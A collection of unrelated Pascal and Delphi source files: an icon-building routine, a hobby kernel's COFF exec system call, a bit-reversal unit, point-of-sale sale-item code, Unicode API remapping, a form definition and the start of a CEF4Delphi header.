IconInfo.hbmColor := XOrMask.Handle;
Result.Handle := CreateIconIndirect(IconInfo);
{Destroy the temporary bitmaps}
AndMask.Free;
XOrMask.Free;
Mask.Free;
{Draw as a test}
//Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);
{Assign the application icon}
//Application.Icon := Icon;
{Force a repaint}
//InvalidateRect(Application.Handle, nil, true);
{Free the icon}
//Result := Icon;
end;
end.
|
Unit Exec;
{ * Exec : *
* *
* Esta Unidad se encarga de realizar la llamada al sistema *
* SYS_EXEC , utiliza archivos COFF. * *
* *
* Copyright (c) 2003-2006 Matias Vara <matiasevara@gmail.com> *
* All Rights Reserved *
* *
* Versiones : *
* 07 / 02 / 2005 : Exec() soporta argumentos!!!! *
* *
* 29 / 05 / 2004 : Es modificada la llamada Exec() , los *
* segmentos de codigo , datos y pila se ponen en un unico *
* hueco de memoria *
* *
* 19 / 05 / 2004 : Es aplicado el modelo de memoria paginado *
* El codigo y datos son puestos en una unica area vmm , no asi el *
* stack , que se encuentra en STACK_AREA *
* *
* 13 / 04 / 2004 : Primera Version *
* *
* *
*******************************************************************
}
interface
{DEFINE DEBUG}
{$I ../include/toro/procesos.inc}
{$I ../include/head/asm.h}
{$I ../include/head/open.h}
{$I ../include/head/inodes.h}
{$I ../include/head/super.h}
{$I ../include/head/dcache.h}
{$I ../include/toro/coff.inc}
{$I ../include/toro/buffer.inc}
{$I ../include/head/buffer.h}
{$I ../include/head/mm.h}
{$I ../include/head/scheduler.h}
{$I ../include/head/printk_.h}
{$I ../include/head/itimer.h}
{$I ../include/head/paging.h}
{$I ../include/head/vmalloc.h}
{$I ../include/head/procesos.h}
{$I ../include/head/namei.h}
const MAX_ARG_PAGES = 10 ;
implementation
{$I ../include/head/lock.h}
{ * get_args_size : simple funcion que devuelve el tama¤o de los argumentos *
}
function get_args_size (args : pchar) : dword;
var cont : dword ;
begin
cont := 0 ;
If args = nil then exit(1);
while (args^ <> #0) do
begin
args += 1;
If (cont div Page_Size) = Max_Arg_Pages then break
else cont += 1;
end;
exit(cont + 1);
end;
{ * get_argc : devuelve la cantidad de argumentos pasados * }
function get_argc ( args : pchar) : dword ;
var tmp : dword ;
begin
if args = nil then exit(0);
tmp := 0 ;
{ esto puede seguir hasta el infinito!!! }
while (args^ <> #0) do
begin
if args^ = #32 then tmp += 1;
args += 1;
end;
tmp += 1 ;
if (args-1)^ = #32 then tmp -= 1 ;
exit(tmp);
end;
{ * Sys_Exec : *
* *
* Path : Ruta donde se encuentra el archivo *
* args : Puntero a un array de argunmentos . No utilizado por ahora *
* Devuelve : 0 si falla o El pid de la nueva tarea *
* *
* Esta funcion carga en memoria un archivo ejecutable del tipo COFF *
* y devuelve el PID del nuevo proceso , si la operacion no hubiese sido *
* correcta devuelve 0 *
* Esta basado en la llamada al sistema sys_exec del kernel de ROUTIX *
* Routix / src / syscalls / sys_proc.c *
* Routix.sourceforge.net *
* *
**************************************************************************
}
function sys_exec(path , args : pchar):dword;cdecl ; [public , alias : 'SYS_EXEC'];
var tmp:p_inode_t;
nr_sec,ver,count:word;
coff_hd:p_coff_header;
argccount , ret,count_pg,nr_page,ppid,argc:dword;
_text,_data,_bbs:coff_sections;
opt_hd:coff_optheader;
l:p_coff_sections;
tmp_fp:file_t;
buff:array[1..100] of byte;
new_tarea:p_tarea_struc;
cr3_save , page,page_args,pagearg_us: pointer;
nd : pchar ;
r : dword ;
k : dword ;
label _exit;
begin
r := contador ;
ppid := Tarea_Actual^.pid;
tmp := name_i(path);
set_errno := -ENOENT ;
{ruta invalida}
If (tmp = nil) then exit(0);
set_errno := -EACCES ;
{el inodo deve tener permisos de ejecucion y de lectura}
if (tmp^.flags and I_XO <> I_XO) and (tmp^.flags and I_RO <> I_RO) then goto _exit ;
set_errno := -ENOEXEC ;
if (tmp^.mode <> dt_Reg) then goto _exit ;
{Se crea un descriptor temporal}
tmp_fp.inodo := tmp;
tmp_fp.f_pos := 0;
tmp_fp.f_op := tmp^.op^.default_file_ops ;
coff_hd:=@buff;
{Leo la cabecera del archivo coff y la mando a un buffer}
ret := tmp_fp.f_op^.read(@tmp_fp,sizeof(coff_header),coff_hd);
set_errno := -EIO ;
{Si hubiese algun error al leer el archivo}
If (ret = 0) then goto _exit ;
set_errno := -ENOEXEC;
{Se chequea el numero magico}
If (coff_hd^.f_magic <> COFF_MAGIC) then goto _exit;
set_errno := -ENOEXEC;
{El archivo COFF devera tener 3 secciones = TEXT , DATA, BBS}
If coff_hd^.f_nscns <> 3 then goto _exit;
ret := tmp_fp.f_op^.read(@tmp_fp,sizeof(coff_optheader),@opt_hd);
{Me posiciono donde se encuentran las cabezas de secciones}
tmp_fp.f_pos := sizeof(coff_header) + coff_hd^.f_opthdr;
nr_sec := coff_hd^.f_nscns;
ver := 0;
l := @buff;
set_errno := -EIO;
while (nr_sec <> 0) do
begin
{Leo las secciones}
ret := tmp_fp.f_op^.read(@tmp_fp,sizeof(coff_sections),l);
{hubo un error de lectura}
If (ret = 0) then goto _exit ;
{Se evalua el tipo de seccion}
Case l^.s_flags of
COFF_TEXT:begin
memcopy(@buff,@_text,sizeof(coff_sections));
ver:=ver or COFF_TEXT;
end;
COFF_DATA:begin
memcopy(@buff,@_data,sizeof(coff_sections));
ver:=ver or COFF_DATA;
end;
COFF_BBS:begin
memcopy(@buff,@_bbs,sizeof(coff_sections));
ver:=ver or COFF_BBS;
end;
else goto _exit ;
end;
nr_sec-=1;
end;
set_errno := -ENOEXEC;
{Se chequea que se encuentren todas las secciones}
If ver <> (COFF_BBS or COFF_DATA or COFF_TEXT) then goto _exit ;
{Se crea el proceso}
new_tarea := Proceso_Crear(ppid,Sched_RR);
If (new_tarea=nil) then goto _exit ;
Mem_Lock ;
If (_text.s_size + _data.s_size + _bbs.s_size) >= MM_MEMFREE then
begin
Proceso_Eliminar (new_tarea);
goto _exit ;
end;
{Area de Codigo}
{Aqui tambien se encuentran los datos y el codigo}
with new_tarea^.text_area do
begin
size := 0 ;
flags := VMM_WRITE;
add_l_comienzo := pointer(HIGH_MEMORY);
add_l_fin := pointer(HIGH_MEMORY - 1);
end;
{Stack}
with new_tarea^.stack_area do
begin
size := 0;
flags := VMM_WRITE;
add_l_comienzo := pointer(STACK_PAGE);
add_l_fin := pointer(STACK_PAGE - 1);
end;
{ tama¤o de los argumentos }
argc := get_args_size (args) ;
{ cantidad de argumentos pasados }
argccount := get_argc(args) ;
{Solo se soportan 4096 bytes de argumentos }
page_Args := get_free_kpage ;
If argc > 1 then
begin
{Hay argumentos}
If argc > Page_Size then argc := Page_Size ;
{Son copiados los argumentos}
memcopy(args, page_Args + (Page_size - argc)-1 , argc);
end
else
begin
{No hay argumentos}
nd := Page_args;
nd += Page_size - 2 ;
nd^ := #0 ;
end;
Save_Cr3;
Load_Kernel_Pdt;
{Es leido el archivo completo }
count:=0;
count_pg:=0;
nr_page := (_text.s_size + _data.s_size) div Page_Size ;
If ((_text.s_size + _data.s_size) mod Page_Size ) = 0 then else nr_page+=1;
tmp_fp.f_pos:=_text.s_scnptr;
k := contador ;
repeat
page := get_free_page;
If page = nil then
begin
vmm_free(new_tarea,@new_tarea^.text_area);
Proceso_Eliminar(new_tarea);
Mem_Unlock;
goto _exit ;
end;
count += tmp_fp.f_op^.read(@tmp_fp,Page_Size,page);
vmm_map(page,new_tarea,@new_tarea^.text_area);
count_pg+=1;
until (nr_page = count_pg);
k := contador - k ;
{Se verifica que la cantidad leidos sean correctos}
If count <> (_text.s_size + _data.s_size) then
begin
vmm_free(new_tarea,@new_tarea^.text_area);
vmm_free(new_tarea,@new_tarea^.data_area);
Proceso_Eliminar(new_tarea);
Mem_Unlock;
goto _exit ;
end;
{Las areas de datos no inicializados son alocadas}
vmm_alloc(new_tarea,@new_tarea^.text_area,_bbs.s_size);
vmm_alloc(new_tarea,@new_tarea^.stack_area,Page_Size);
{Entrada estandar y salida estandar}
clone_filedesc(@Tarea_Actual^.Archivos[1],@new_tarea^.Archivos[1]);
clone_filedesc(@Tarea_Actual^.Archivos[2],@new_tarea^.Archivos[2]);
{La pagina deve ser de la zona alta y no de la del kernel}
pagearg_us := get_free_page ;
memcopy(page_args , pagearg_us , Page_Size);
{No se necesita mas la pagina}
free_page (page_args);
{Se mapea la pagina de argumentos}
vmm_map(pagearg_us,new_tarea,@new_tarea^.stack_area);
{Se libera la proteccion de la memoria}
Mem_Unlock;
new_tarea^.reg.esp := pointer(new_tarea^.stack_area.add_l_fin - argc) ;
new_tarea^.reg.eip := pointer(opt_hd.entry);
{ son pasados los argumentos }
new_tarea^.reg.eax := argccount ;
new_tarea^.reg.ebx := longint(new_tarea^.reg.esp) ;
new_tarea^.reg.ecx := 0 ;
{ la nueva tarea tiene como directorio de trabajo el cwd de la tarea que
realizo el exec
}
Tarea_actual^.cwd^.count += 1 ;
Tarea_Actual^.cwd^.i_dentry^.count += 1 ;
new_tarea^.cwd := Tarea_Actual^.cwd ;
Restore_Cr3;
{$IFDEF DEBUG}
printk('/nsys_exec : Head Section Sizes\n',[],[]);
printk('/nText : %d \n',[_text.s_size],[]);
printk('/nData : %d \n',[_data.s_size],[]);
printk('/nBbs : %d \n',[_bbs.s_size],[]);
printk('/npid : %d\n',[new_tarea^.pid],[]);
printk('/nDuracion : %d milis.\n',[contador-r],[]);
printk('/nTiempo de io : %d milise.\n',[k],[]);
printk('/nParametros : %d \n',[argccount],[]);
{$ENDIF}
add_task (new_tarea);
put_dentry(tmp^.i_dentry);
clear_errno;
exit(new_tarea^.pid);
_exit :
{$IFDEF debug}
printk('/Vexec/n: Error de lectura de archivo\n',[],[]);
{$ENDIF}
put_dentry (tmp^.i_dentry);
exit(0);
end;
end.
|
unit ucom;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, graphics;
function ReverseNum(dat: byte): byte;
function ReverseByte(dat: byte): byte;
function ReverseWord(dat: Word): Word;
procedure ExtractRGB(Color: TColor;var R,G,B:Byte);
implementation
function ReverseNum(dat: byte): byte;
const
RevTable: array[0..15] of byte =
($0, $8, $4, $C, $2, $A, $6, $E, $1, $9, $5, $D, $3, $B, $7, $F);
begin
if dat < 16 then
Result := RevTable[dat]
else
Result := 0;
end;
function ReverseByte(dat: byte): byte;
begin
Result := ReverseNum(dat div 16) + ReverseNum(dat mod 16) * 16;
end;
function ReverseWord(dat: Word): Word;
begin
Result := ReverseByte(dat div 256) + Word(ReverseByte(dat mod 256)) * 256;
end;
procedure ExtractRGB(Color: TColor;var R,G,B:Byte);
begin
R := Color and $FF;
G := (Color and $FF00) shr 8;
B := (Color and $FF0000) shr 16;
end;
end.
|
unit uSaleItem;
interface
uses SysUtils;
type
TSaleItem = class
private
FDiscount: Currency;
FCostPrice: Currency;
FSellingPrice: Currency;
FQty: Double;
FIDCommission: Integer;
FIDCustomer: Integer;
FIDModel: Integer;
FIDStore: Integer;
FIDUser: Integer;
FIDPreSale: Integer;
FIDPreInventoryMovParent: Integer;
FIDItemExchange: Integer;
FPreSaleDate: TDateTime;
FIDPreInventoryMov: Integer;
FExchange: Boolean;
FIDInvoiceExchange: Integer;
FDepartment: Integer;
FPromo: Boolean;
FKitSellingPrice : Currency;
FCustomerSellingPrice : Currency;
FPromoSellingPrice : Currency;
FIsManager : Boolean;
FAskedSalePrice: Boolean;
FSuggPrice: Currency;
FIDVendorPrice: Integer;
FIDDescriptionPrice: Integer;
FIDDocumentType: Integer;
FDocumentNumber: String;
FBarcode: String;
// Antonio Apr 2014 03 - new fields to sp addItem
FManualPrice: Currency;
FManualDiscount: Currency;
FIDSpecialPrice: Integer;
FIsManualPrice: Boolean;
FIsManualDiscount: Boolean;
FEachDiscount: currency;
procedure OnBeforeAdd;
procedure UpdateParentPromo(IDPreInventoryMovParent: Integer);
procedure OnBeforeUpdate;
procedure ApplyDiscount;
public
procedure CleanUpValues();
procedure Add;
procedure Update;
procedure Remove;
procedure SetDiscountItem(SaleItem: TSaleItem; DiscountSaleValue: Double; TaxExemptOnSale: Boolean);
property IDPreInventoryMov: Integer read FIDPreInventoryMov write FIDPreInventoryMov;
property IDCustomer: Integer read FIDCustomer write FIDCustomer;
property IDPreSale: Integer read FIDPreSale write FIDPreSale;
property IDPreInventoryMovParent: Integer read FIDPreInventoryMovParent write FIDPreInventoryMovParent;
property IDInvoiceExchange: Integer read FIDInvoiceExchange write FIDInvoiceExchange;
property IDModel: Integer read FIDModel write FIDModel;
property IDStore: Integer read FIDStore write FIDStore;
property Qty: Double read FQty write FQty;
property Discount: Currency read FDiscount write FDiscount;
property SellingPrice: Currency read FSellingPrice write FSellingPrice;
property CostPrice: Currency read FCostPrice write FCostPrice;
property IDUser: Integer read FIDUser write FIDUser;
property IDCommission: Integer read FIDCommission write FIDCommission;
property PreSaleDate: TDateTime read FPreSaleDate write FPreSaleDate;
property IDItemExchange: Integer read FIDItemExchange write FIDItemExchange;
property Exchange: Boolean read FExchange write FExchange;
property Promo: Boolean read FPromo write FPromo;
property Department: Integer read FDepartment write FDepartment;
property KitSellingPrice : Currency read FKitSellingPrice write FKitSellingPrice;
property CustomerSellingPrice : Currency read FCustomerSellingPrice write FCustomerSellingPrice;
property PromoSellingPrice : Currency read FPromoSellingPrice write FPromoSellingPrice;
property IsManager : Boolean read FIsManager write FIsManager;
property AskedSalePrice: Boolean read FAskedSalePrice write FAskedSalePrice Default false;
property IDDescriptionPrice: Integer read FIDDescriptionPrice write FIDDescriptionPrice;
property IDVendorPrice: Integer read FIDVendorPrice write FIDVendorPrice;
property SuggPrice: Currency read FSuggPrice write FSuggPrice;
property IDDocumentType: Integer read FIDDocumentType write FIDDocumentType;
property DocumentNumber: String read FDocumentNumber write FDocumentNumber;
property Barcode: String read FBarcode write FBarcode;
property ManualPrice: Currency read FManualPrice write FManualPrice;
property ManualDiscount: Currency read FManualDiscount write FManualDiscount;
property IDSpecialPrice: Integer read FIDSpecialPrice write FIDSpecialPrice;
property IsManualPrice: Boolean read FIsManualPrice write FIsManualPrice;
property IsManualDiscount: Boolean read FIsManualDiscount write FIsManualDiscount;
property EachDiscount: currency read FEachDiscount write FEachDiscount;
end;
implementation
uses uDM, uMsgBox, uMsgConstant, uPassword, uDMCalcPrice, uNumericFunctions;
{ TSaleItem }
procedure TSaleItem.Add;
var
iError: Integer;
begin
OnBeforeAdd;
DM.fPOS.AddHoldItem(FIDCustomer,
FIDPreSale,
FIDModel,
FIDStore,
FQty,
FDiscount,
FSellingPrice,
FCostPrice,
FIDUser,
FIDCommission,
FPreSaleDate,
Now,
False,
FIsManager,
FIDItemExchange,
FDepartment,
iError,
FIDPreInventoryMov,
FIDPreInventoryMovParent,
FPromo,
FIDDescriptionPrice,
FIDVendorPrice,
FSuggPrice,
FDocumentNumber,
FIDDocumentType,
0,
(FEachDiscount / FQty),//0,
true,
FManualPrice,
FManualDiscount,
FIDSpecialPrice,
FIsManualPrice,
FIsManualDiscount);
FIDPreInventoryMov := 0;
FSellingPrice := 0;
//Se o error acontecer, tem que tratar
if (iError <> 0) then
begin
// Excecao para manager
if Password.HasFuncRight(9) then
begin
if MsgBox(MSG_QST_DISCOUNT_WAS_REACHED, vbYesNo + vbQuestion) = vbYes then
begin
DM.fPOS.AddHoldItem(FIDCustomer,
FIDPreSale,
FIDModel,
FIDStore,
FQty,
FDiscount,
FSellingPrice,
FCostPrice,
FIDUser,
FIDCommission,
FPreSaleDate,
Now,
False,
True,
FIDItemExchange,
FDepartment,
iError,
FIDPreInventoryMov,
FIDPreInventoryMovParent,
FPromo,
FIDDescriptionPrice,
FIDVendorPrice,
FSuggPrice);
end
else
begin
//EditSalePrice.SetFocus;
Exit;
end;
end
else
begin
case iError of
-1:
begin
// Desconto vale se zerar
if MsgBox(MSG_QST_ERASE_ALL_DISCOUNT_ADD, vbYesNo + vbQuestion) = vbYes then
DM.fPOS.AddHoldItem(FIDCustomer,
FIDPreSale,
FIDModel,
FIDStore,
FQty,
FDiscount,
FSellingPrice,
FCostPrice,
FIDUser,
FIDCommission,
FPreSaleDate,
Now,
True,
False,
IDItemExchange,
FDepartment,
iError,
FIDPreInventoryMov,
FIDPreInventoryMovParent,
FPromo,
FIDDescriptionPrice,
FIDVendorPrice,
FSuggPrice);
end;
-2:
begin
//EditSalePrice.SetFocus;
MsgBox(MSG_INF_DISCOUNT_LIMT_REACHED, vbOKOnly + vbInformation);
Exit;
end;
else
begin
if FExchange then // Atualiza o Invoice original colocando o numero do Hold
with DM.quFreeSQL do
begin
SQL.Text := 'UPDATE Invoice SET Note = Note + ' +
Chr(39) + ' - Exchange from Hold #' +
IntToStr(FIDPreSale) + ' ' + Chr(39) +
'WHERE IDInvoice = ' + IntToStr(IDInvoiceExchange);
ExecSQL;
end;
end;
end; //end case
end; //end else HasFuncRight
end; //end Error
// Faz a atualização no item gerador da promoção para saber que ele já gerou a promoção.
if (iError = 0) and (FPromo = True) and (FIDPreInventoryMovParent <> 0) then
UpdateParentPromo(FIDPreInventoryMovParent);
end;
procedure TSaleItem.Remove;
begin
end;
procedure TSaleItem.Update;
var
iError: Integer;
begin
OnBeforeUpdate;
DM.fPOS.UpdateHoldItem(FIDPreSale,
FIDPreInventoryMov,
FIDModel,
FIDCommission,
FIDUser,
FQty,
FDiscount,
FSellingPrice,
FCostPrice,
FPreSaleDate,
Now,
True,
True,
FDepartment,
iError,
FIDPreInventoryMov,
FIDPreInventoryMovParent,
FPromo,
FIDDescriptionPrice,
FIDVendorPrice,
FSuggPrice,
FDocumentNumber,
FIDDocumentType);
if (iError = 0) and (FPromo = True) and (FIDPreInventoryMovParent <> 0) then
UpdateParentPromo(FIDPreInventoryMovParent);
end;
procedure TSaleItem.SetDiscountItem(SaleItem: TSaleItem;
DiscountSaleValue: Double; TaxExemptOnSale: Boolean);
var
IDDiscount: Integer;
NewDiscountSale: Double;
begin
NewDiscountSale := DiscountSaleValue;
with DM.quFreeSQL do
begin
if Active then
Close;
SQL.Clear;
SQL.Text := ' SELECT SubTotal, ItemDiscount FROM Invoice WHERE IDPreSale = ' + InttoStr(SaleItem.IDPreSale);
Open;
NewDiscountSale := DM.FDMCalcPrice.FormatPrice(((NewDiscountSale + FieldByName('ItemDiscount').AsCurrency) * 100)/ FieldByName('SubTotal').AsCurrency);
Close;
end;
DM.fPOS.ManageDiscount(SaleItem.IDPreSale,
NewDiscountSale,
Now,
TaxExemptOnSale,
Password.HasFuncRight(9),
False);
IDDiscount := DM.GetNextID('Sal_Discount.IDDiscount');
with DM.quFreeSQL do
begin
if Active then
Close;
SQL.Clear;
SQL.Text := 'INSERT INTO Sal_Discount (IDDiscount,IDPreSale,IDPreInventoryMov,Discount) ' +
'VALUES (' + InttoStr(IDDiscount) + ' , ' + InttoStr(SaleItem.IDPreSale) + ' , ' + InttoStr(Saleitem.IDPreInventoryMov)+ ' , ' + FloattoStr(DiscountSaleValue) + ' ) ';
ExecSQL;
Close;
end;
end;
procedure TSaleItem.OnBeforeAdd;
begin
// Opção pede preço.
if not(FAskedSalePrice) then
ApplyDiscount;
end;
procedure TSaleItem.OnBeforeUpdate;
begin
ApplyDiscount;
end;
procedure TSaleItem.ApplyDiscount;
var
roundSellingPrice: Extended;
begin
FIsManager := True;
if ((FPromo) and (FPromoSellingPrice < FCustomerSellingPrice) and (FPromoSellingPrice < FKitSellingPrice)) then
begin
FDiscount := 0;
FSellingPrice := DM.FDMCalcPrice.FormatPrice(FPromoSellingPrice);
end
else if ((FCustomerSellingPrice <> 0) and (FCustomerSellingPrice <> FSellingPrice) and (FCustomerSellingPrice <= FKitSellingPrice)) then begin
// AmfSouza November 14, 2012: to round discount.
//FDiscount := ((roundSellingPrice - CustomerSellingPrice) * FQty);
FDiscount := 0;
end
else if ((FKitSellingPrice <> 0) and (FKitSellingPrice <> FSellingPrice)) then begin
//amfsouza August, 29 2012
FDiscount := 0;
FSellingPrice := FKitSellingPrice;
//FDiscount := (FSellingPrice - FKitSellingPrice) * FQty
end
else
FIsManager := False;
end;
procedure TSaleItem.UpdateParentPromo(IDPreInventoryMovParent: Integer);
begin
with DM.quFreeSQL do
begin
if Active then
Close;
SQL.Clear;
SQL.Text := ' UPDATE PreInventoryMov SET Promo = 1 ' +
' WHERE IDPreInventoryMov = ' + InttoStr(IDPreInventoryMovParent);
ExecSQL;
Close;
end;
end;
procedure TSaleItem.CleanUpValues;
begin
self.FDiscount := 0;
self.FCostPrice := 0;
self.FSellingPrice := 0;
self.FQty := 0;
self.FIDModel := 0;
self. FIDVendorPrice := 0;
self.FIDDescriptionPrice := 0;
// Antonio Apr 2014 03 - new fields to sp addItem
self.FManualPrice := 0;
self.FManualDiscount := 0;
self.FIDSpecialPrice := 0;
self.FIsManualPrice := false;
self.FIsManualDiscount := false;
self.EachDiscount := 0;
self.ManualDiscount := 0;
self.SellingPrice := 0;
self.IsManualDiscount := false;
self.IsManualPrice := false;
end;
end.
|
unit VirtualUnicodeDefines;
// Version 1.3.0
//
// The contents of this file are subject to the Mozilla Public License
// Version 1.1 (the "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
//
// Alternatively, you may redistribute this library, use and/or modify it under the terms of the
// GNU Lesser General Public License as published by the Free Software Foundation;
// either version 2.1 of the License, or (at your option) any later version.
// You may obtain a copy of the LGPL at http://www.gnu.org/copyleft/.
//
// Software distributed under the License is distributed on an "AS IS" basis,
// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the
// specific language governing rights and limitations under the License.
//
// The initial developer of this code is Jim Kueneman <jimdk@mindspring.com>
//
//----------------------------------------------------------------------------
// This unit remaps Unicode API functions to dynamiclly loaded functions so that Win95
// applications can still use VSTools.
// The following are implemented in Win 95:
// EnumResourceLanguagesW
// EnumResourceNamesW
// EnumResourceTypesW
// ExtTextOutW
// FindResourceW
// FindResourceExW
// GetCharWidthW
// GetCommandLineW
// GetTextExtentPoint32W
// GetTextExtentPointW
// lstrlenW
// MessageBoxExW
// MessageBoxW
// MultiByteToWideChar
// TextOutW
// WideCharToMultiByte
interface
{$include Compilers.inc}
{$include VSToolsAddIns.inc}
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, ShellAPI, ActiveX,
ShlObj, ComCtrls, ComObj, Forms, CommCtrl;
{$IFNDEF T2H}
var
GetDriveTypeW_VST: function(lpRootPathName: PWideChar): UINT; stdcall;
DrawTextW_VST: function(hDC: HDC; lpString: PWideChar; nCount: Integer;
var lpRect: TRect; uFormat: UINT): Integer; stdcall;
SHGetFileInfoW_VST: function(pszPath: PWideChar; dwFileAttributes: DWORD;
var psfi: TSHFileInfoW; cbFileInfo, uFlags: UINT): DWORD; stdcall;
CreateFileW_VST: function(lpFileName: PWideChar; dwDesiredAccess, dwShareMode: DWORD;
lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD;
hTemplateFile: THandle): THandle; stdcall;
SHGetDataFromIDListW_VST: function(psf: IShellFolder; pidl: PItemIDList;
nFormat: Integer; ptr: Pointer; cb: Integer): HResult; stdcall;
FindFirstFileW_VST: function(lpFileName: PWideChar; var lpFindFileData: TWIN32FindDataW): THandle; stdcall;
GetDiskFreeSpaceW_VST: function(lpRootPathName: PWideChar; var lpSectorsPerCluster,
lpBytesPerSector, lpNumberOfFreeClusters, lpTotalNumberOfClusters: DWORD): BOOL; stdcall;
lstrcmpiW_VST: function(lpString1, lpString2: PWideChar): Integer; stdcall;
CharLowerBuffW_VST: function(lpsz: PWideChar; cchLength: DWORD): DWORD; stdcall;
CreateDirectoryW_VST: function(lpPathName: PWideChar; lpSecurityAttributes: PSecurityAttributes): BOOL; stdcall;
GetFullPathNameW_VST: function(lpFileName: PWideChar; nBufferLength: DWORD; lpBuffer: PWideChar; var lpFilePart: PWideChar): DWORD; stdcall;
ShellExecuteExW_VST: function(lpExecInfo: PShellExecuteInfoW):BOOL; stdcall;
FindFirstChangeNotificationW_VST: function(lpPathName: PWideChar;
bWatchSubtree: BOOL; dwNotifyFilter: DWORD): THandle; stdcall;
GetCharABCWidthsW_VST: function(DC: HDC; FirstChar, LastChar: UINT; const ABCStructs): BOOL; stdcall;
GetFileAttributesW_VST: function(lpFileName: PWideChar): DWORD; stdcall;
GetSystemDirectoryW_VST: function(lpBuffer: PWideChar; uSize: UINT): UINT; stdcall;
GetWindowsDirectoryW_VST: function(lpBuffer: PWideChar; uSize: UINT): UINT; stdcall;
// Robert
SHMultiFileProperties_VST: function(pdtobj: IDataObject; dwFlags: DWORD): HResult; stdcall;
GetDiskFreeSpaceExA_VST: function(lpDirectoryName: PAnsiChar;
var lpFreeBytesAvailableToCaller, lpTotalNumberOfBytes; lpTotalNumberOfFreeBytes: PLargeInteger): BOOL; stdcall;
GetDiskFreeSpaceExW_VST: function(lpDirectoryName: PWideChar; var lpFreeBytesAvailableToCaller,
lpTotalNumberOfBytes; lpTotalNumberOfFreeBytes: PLargeInteger): BOOL; stdcall;
{$ENDIF T2H}
implementation
var
Shell32Handle,
Kernel32Handle,
User32Handle,
GDI32Handle: THandle;
initialization
// We can be sure these are already loaded. This keeps us from having to
// reference count when VSTools is being used in an OCX
Shell32Handle := GetModuleHandle(Shell32);
Kernel32Handle := GetModuleHandle(Kernel32);
User32Handle := GetModuleHandle(User32);
GDI32Handle := GetModuleHandle(GDI32);
GetDiskFreeSpaceExA_VST := GetProcAddress(Kernel32Handle, 'GetDiskFreeSpaceA');
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
GetDriveTypeW_VST := GetProcAddress(Kernel32Handle, 'GetDriveTypeW');
DrawTextW_VST := GetProcAddress(User32Handle, 'DrawTextW');
SHGetFileInfoW_VST := GetProcAddress(Shell32Handle, 'SHGetFileInfoW');
CreateFileW_VST := GetProcAddress(Kernel32Handle, 'CreateFileW');
SHGetDataFromIDListW_VST := GetProcAddress(Shell32Handle, 'SHGetDataFromIDListW');
FindFirstFileW_VST := GetProcAddress(Kernel32Handle, 'FindFirstFileW');
lstrcmpiW_VST := GetProcAddress(Kernel32Handle, 'lstrcmpiW');
CharLowerBuffW_VST := GetProcAddress(User32Handle, 'CharLowerBuffW');
CreateDirectoryW_VST := GetProcAddress(Kernel32Handle, 'CreateDirectoryW');
GetFullPathNameW_VST := GetProcAddress(Kernel32Handle, 'GetFullPathNameW');
ShellExecuteExW_VST := GetProcAddress(Shell32Handle, 'ShellExecuteExW');
FindFirstChangeNotificationW_VST := GetProcAddress(Kernel32Handle, 'FindFirstChangeNotificationW');
GetCharABCWidthsW_VST := GetProcAddress(GDI32Handle, 'GetCharABCWidthsW');
GetFileAttributesW_VST := GetProcAddress(Kernel32Handle, 'GetFileAttributesW');
GetSystemDirectoryW_VST := GetProcAddress(Kernel32Handle, 'GetSystemDirectoryW');
GetWindowsDirectoryW_VST := GetProcAddress(Kernel32Handle, 'GetWindowsDirectoryW');
GetDiskFreeSpaceExW_VST := GetProcAddress(Kernel32Handle, 'GetDiskFreeSpaceExW');
// SHMultiFileProperties only supported on Win2k and WinXP
// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shmultifileproperties.asp
SHMultiFileProperties_VST := GetProcAddress(Shell32Handle, PChar(716));
end;
finalization
end.
|
object frmMasks: TfrmMasks
Left = 312
Top = 186
ActiveControl = chklMasks
BorderStyle = bsDialog
BorderWidth = 8
Caption = 'frmMasks'
ClientHeight = 274
ClientWidth = 390
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
OldCreateOrder = False
Position = poScreenCenter
OnCreate = FormCreate
OnDestroy = FormDestroy
OnShow = FormShow
DesignSize = (
390
274)
PixelsPerInch = 96
TextHeight = 13
object btnOk: TButton
Left = 225
Top = 248
Width = 80
Height = 24
Anchors = [akRight, akBottom]
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 1
end
object btnCancel: TButton
Left = 309
Top = 248
Width = 80
Height = 24
Anchors = [akRight, akBottom]
Cancel = True
Caption = 'Cancel'
ModalResult = 2
TabOrder = 2
end
object GroupBox1: TGroupBox
Left = 0
Top = 0
Width = 390
Height = 239
Align = alTop
TabOrder = 0
DesignSize = (
390
239)
object chklMasks: TCheckListBox
Left = 12
Top = 16
Width = 367
Height = 184
Anchors = [akLeft, akTop, akRight, akBottom]
Columns = 4
ItemHeight = 13
Items.Strings = (
'*.*'
'*.htm*')
PopupMenu = pmContext
Sorted = True
TabOrder = 0
OnClick = chklMasksClick
end
object edtNew: TEdit
Left = 12
Top = 209
Width = 99
Height = 21
TabOrder = 1
end
object btnAdd: TButton
Left = 120
Top = 208
Width = 80
Height = 24
Caption = '&Add'
TabOrder = 2
OnClick = btnAddClick
end
object btnDelete: TButton
Left = 288
Top = 208
Width = 80
Height = 24
Caption = '&Delete'
TabOrder = 4
OnClick = btnDeleteClick
end
object btnReplace: TButton
Left = 204
Top = 208
Width = 80
Height = 24
Caption = '&Replace'
TabOrder = 3
OnClick = btnReplaceClick
end
end
object pmContext: TPopupActionBar
Left = 145
Top = 141
object CheckAll2: TMenuItem
Action = acCheckAll
end
object UncheckAll2: TMenuItem
Action = acUncheckAll
end
object N2: TMenuItem
Caption = '-'
end
object Delete2: TMenuItem
Action = acDelete
end
end
object acContext: TActionList
Left = 205
Top = 139
object acDelete: TAction
Caption = '&Delete'
OnExecute = tbxClearClick
end
object acCheckAll: TAction
Caption = 'Check All'
OnExecute = tbxCheckAllClick
end
object acUncheckAll: TAction
Caption = 'Uncheck All'
OnExecute = tbxUnCheckAllClick
end
end
end
|
// ************************************************************************
// ***************************** CEF4Delphi *******************************
// ************************************************************************
//
// CEF4Delphi is based on DCEF3 which uses CEF3 to embed a chromium-based
// browser in Delphi applications.
//
